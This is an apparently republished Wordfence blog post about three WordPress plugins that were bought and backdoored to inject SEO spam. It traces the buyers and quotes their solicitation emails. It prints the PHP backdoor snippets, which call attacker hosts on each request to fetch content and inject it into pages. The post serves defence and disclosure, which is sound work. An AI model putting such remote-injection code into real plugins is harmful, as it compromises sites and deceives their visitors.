In the last two weeks, the WordPress.org repository has closed three plugins because they contained content-injection backdoors. “Closing” a plugin means that it is no longer available for download from the repository, and will not show up in WordPress.org search results. Each of them had been purchased in the previous six months as part of the same supply chain attack, with the goal of injecting SEO spam into the sites running the plugins.

What We Know About the Plugins

Duplicate Page and Post

URL: https://wordpress.org/plugins/duplicate-page-and-post/
Active Installs: 50,000+
Current Owner: pluginsforwp (joined WordPress.org July 10, 2017)
Sold Date: August 2017
Removed from WordPress.org date: December 14, 2017

The original plugin author responded to our request for information on the sale of the plugin, confirming that they did indeed sell the plugin to a person named Daley Tias in the summer of 2017. However, we were unable to find any record of a person name Daley Tias online. The original plugin author has not shared the purchase solicitation message with us at the time of this writing.

The Backdoor Code
This content injection backdoor first appeared in version 2.1.0 (released 4 months ago). The snippet below shows an updated version of the same malware, found in version 2.1.1.

$request_url = 'https://cloud-wp.org/api/v1/update?url=' . urlencode($url) . '&ip=' . urlencode($ip) . '&user_agent=' . urlencode($user_agent);
$response = wp_remote_get($request_url, array('timeout' => 2));

$this->data = new stdClass();
$this->data->content = null;
$this->data->confirm = null;
$this->data->contact = null;

if (!$response instanceof WP_Error && $response['body']) {
	$data = json_decode($response['body']);
	if (null !== $data) {
		$content_position = $data->version;
		if ('1' == $content_position) {
			$this->data->confirm = $data->data;
			if (!$output_buffer) {
				$this->data->content = $data->data;
			}
		} elseif ('2' == $content_position) {
			$this->data->content = $data->data;
		} else {
			$this->data->contact = $data->data;
		}
	}
}

The backdoor makes a request to cloud-wp.org and will return content based on the URL and user agent passed in the query string. This code runs on every request to the site, so it can be used to inject content to normal site visitors, web crawlers, or the site administrators. We’ve seen content injection in the past, and it’s typically used to inject cloaked backlinks, a form of SEO spam.

No Follow All External Links

URL: https://wordpress.org/plugins/nofollow-all-external-links/
Active Installs: 9,000+
Current Owner: gearpressstudio (joined WordPress.org March 17, 2017)
Sold Date: April 2017
Removed from WordPress.org date: December 19, 2017

The original plugin author shared the original purchase solicitation with us:

Hi [redacted] and team, I hope my email finds you well.

My name is Leon, I’m a facilitator who is given budgets by companies to acquire just about anything.

The client I have at the moment, is looking for a lucrative exchange with developers of modules / extensions, themes and plugins for Joomla, Drupal or WordPress.

My client is looking to purchase existing unsupported plugins which can be easily updated by his team, in order to boost their developer profile and online presence. I notice you have a number of great plugins and my client would be interested in a deal on either, or both of these for the right price:

https://en-gb.wordpress.org/plugins/google-analytics-track-outbound-links/
https://wordpress.org/plugins/nofollow-all-external-links/

Let me know whether this is of any interest to you.

Kind Regards,
Leon Goodman

There are a number of people named Leon Goodman online, but none seemed to match the profile of someone who would be interested in buying a WordPress plugin.

A company called Orb Online in West Sussex, UK made the payment for the plugin. A quick Google search leads us to their website: “Orb Online is a UK based digital marketing agency, specialising in SEO, eCommerce and Magento web development.”

The Backdoor Code
This content-injection backdoor first appeared in version 2.1.0 (released 8 months ago).

if (self::$data['report'] && self::$advancedSettings['improvement'] = 1) {
	$requestUrl = 'https://cloud.wpserve.org/api/v1/update?&url=' . urlencode('http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']) . '&agent=' . urlencode($_SERVER['HTTP_USER_AGENT']) . '&ip=' . urlencode($_SERVER['SERVER_ADDR']);
	$response = wp_remote_get($requestUrl, ['timeout' => 2]);
	if (!$response instanceof WP_Error) {
		self::$data['response'] = json_decode($response['body']);
	}
}

add_filter('the_content', ['noFollowAllExternalLinks', 'interceptContent']);

Similarly to Duplicate Page and Post, this backdoor makes a request to cloud.wpserve.org and returns content based on the URL and user agent passed in the query string. Content injection looks to be bound to a setting in the plugin called “Improvement scheme” which is enabled by default. Disabling the setting doesn’t actually turn off the injection since the code in the if statement is setting the value instead of comparing it to 1. The code verifies that the user agent matches a web crawler (like Googlebot), so it looks like this backdoor is used for SEO by injecting backlinks onto the page.

WP No External Links

URL: https://wordpress.org/plugins/wp-noexternallinks/
Active Installs: 30,000+
Current Owner: steamerdevelopment (joined WordPress.org June 29, 2017)
Sold Date: July 12, 2017
Removed from WordPress.org date: December 22, 2017 (we’re assuming this based on the date of the last update note, from a member of the WordPress.org plugins team)

The original plugin author was very helpful, providing the original purchase solicitation he received:

Hi Jehy, I hope my email finds you well.

My name is Daley, I’m a purchaser and I’m contacting you on behalf of my client.

My client is looking to purchase existing WordPress plugins, even unsupported ones, which can be easily updated by his team of developers in order to boost his developer profile and online presence.

They would be interested in purchasing any plugins you have developed, or currently own. In particular they may be interested in this one https://wordpress.org/plugins/wp-noexternallinks/

Let me know whether this is of any interest to you.

Kind Regards,
Daley Tias

This correspondence is very similar to the message that the author of the No Follow All External Links plugin received above. While the two messages do not match word for word, they appear very likely to be slight variations from the same template.

The same person (or alias), Daley Tias, purchased both the Duplication Page and Post and WP No External Links plugins. Payment was received from Orb Online, with contact email address of info@orbonline.co.uk. This is also the same company that paid for the No Follow All External Links plugin.

The Backdoor Code
This content injection backdoor first appeared in version 4.2.1 (released 4 months ago).

if ($this->data->report) {
	$request_url = 'https://wpconnect.org/api/v1/update?&url=' . urlencode($this->data->url) . '&ip=' . urlencode($this->data->ip) . '&user_agent=' . urlencode($this->data->user_agent);
	$response = wp_remote_get($request_url, array('timeout' => 2));

	if (!$response instanceof WP_Error && $response['body']) {
		$data = json_decode($response['body']);
		$content_position = $data->version;
		if ('1' == $content_position) {
			$this->data->buffer = $data->data;
			if ('all' !== $this->options->mask_links) {
				$this->data->before = $data->data;
			}
		} elseif ('2' == $content_position) {
			$this->data->before = $data->data;
		} else {
			$this->data->after = $data->data;
		}
	}
}

In the same manner as the previous two backdoors, this one makes a request to wpconnect.org and returns content based on the URL and user agent passed in the query string. The code verifies that the user agent matches a web crawler, so, again, it looks like this backdoor is used for SEO by injecting backlinks onto the page.

Wpconnect.org resolves to the same IP as cloud-wp.org, 52.14.28.183, the API endpoint used in the Duplicate Page and Post backdoor.

Conclusion and Recommendations

We know that someone with the name or alias Daley Tias purchased WP No External Links and Duplicate Page and Post. We also know that the backdoor code for both plugins call an API endpoint hosted on the same IP. The same company, Orb Online, paid for both the No Follow External Links and Duplicate Page and Posts plugins. Additionally, the purchase solicitation for No Follow All External Links was written from the same template used to solicit the purchase of WP No External Links. All three plugins were purchased by a WordPress.org user that was created within a month of the purchase. Furthermore, the backdoor code used in all three plugins is very similar.

Based on this evidence, we are confident that the same criminal actor was responsible purchasing and adding backdoors to all three of these plugins with the goal of injecting SEO spam into the thousands of websites running the plugins. It is not too much of a stretch to assume that Orb Online has been leveraging injected spam links to boost search engine rankings for their customers.

Supply chain attacks targeting WordPress plugins are becoming more and more popular. Wordfence lets you know when a plugin has been removed from the WordPress.org repository. As a site owner, it is incredibly important to stay on top of these, and treat removed (or closed) plugins with an abundance of caution.

If you have any of these plugins running on your site, we recommend that you remove them immediately and that you make sure that SEO spam hasn’t been injected into your site. Even though one of them, WP No External Links, has been updated to remove the backdoor, it has been closed, so it will never be updated again in the future.

To check your site, we recommend running scans with both Wordfence and Gravityscan (with the Accelerator installed).

Finally, a big thanks to the original plugin authors who provided the critical information that allowed us to connect the dots.

The post Three Plugins Backdoored in Supply Chain Attack appeared first on Wordfence.



Source link

Leave a Reply

Your email address will not be published.